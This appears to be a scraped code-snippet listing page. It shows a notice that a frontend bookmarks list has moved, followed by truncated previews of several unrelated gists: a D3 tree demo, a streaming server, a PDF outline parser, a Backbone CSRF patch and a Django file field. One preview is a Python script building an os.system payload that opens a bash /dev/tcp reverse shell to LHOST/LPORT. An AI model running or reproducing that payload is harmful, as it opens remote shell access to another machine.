Attention: the list was moved to
https://github.com/dypsilon/frontend-dev-bookmarks
This page is not maintained anymore, please update your bookmarks.
Attention: the list was moved to
https://github.com/dypsilon/frontend-dev-bookmarks
This page is not maintained anymore, please update your bookmarks.
| # -*- coding: utf-8 -*- | |
| # | |
| import tempfile | |
| import sys, os | |
| import re | |
| LHOST, LPORT = ('127.0.0.1', '4444') | |
| PAYLOAD = (r'''os.system('echo "bash -c \'0<&76-;exec 76<>/dev/tcp/%s/%s; |
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>Simple Tree Demo</title> | |
| <script src="http://d3js.org/d3.v2.js"></script> | |
| <style> | |
| .link { | |
| fill: none; | |
| stroke: #ccc; | |
| stroke-width: 1.5px; |
| #!/usr/bin/python | |
| #based on the ideas from http://synack.me/blog/implementing-http-live-streaming | |
| # Updates: | |
| # - 2024-04-24: Apply suggestions from @Pin80 | |
| # Run this script and then launch the following pipeline: | |
| # gst-launch videotestsrc pattern=ball ! video/x-raw-rgb, framerate=15/1, width=640, height=480 ! jpegenc ! multipartmux boundary=spionisto ! tcpclientsink port=9999 | |
| #updated command line | |
| #gst-launch-1.0 videotestsrc pattern=ball ! videoconvert ! video/x-raw, framerate=15/1, width=640, height=480 ! jpegenc ! multipartmux boundary=spionisto ! #tcpclientsink port=9999 | |
| from multiprocessing import Queue |
| #!/usr/bin/env python | |
| # parse_toc.py | |
| from pdfminer.pdfparser import PDFParser, PDFDocument | |
| def parse(filename, maxlevel): | |
| fp = open(filename, 'rb') | |
| parser = PDFParser(fp) | |
| doc = PDFDocument() | |
| parser.set_document(doc) |
| var oldSync = Backbone.sync; | |
| Backbone.sync = function(method, model, options){ | |
| options.beforeSend = function(xhr){ | |
| xhr.setRequestHeader('X-CSRFToken', CSRF_TOKEN); | |
| }; | |
| return oldSync(method, model, options); | |
| }; |
| import base64 | |
| import os | |
| from tastypie.fields import FileField | |
| from django.core.files.uploadedfile import SimpleUploadedFile | |
| class Base64FileField(FileField): | |
| """ | |
| A django-tastypie field for handling file-uploads through raw post data. | |
| It uses base64 for en-/decoding the contents of the file. | |
| Usage: |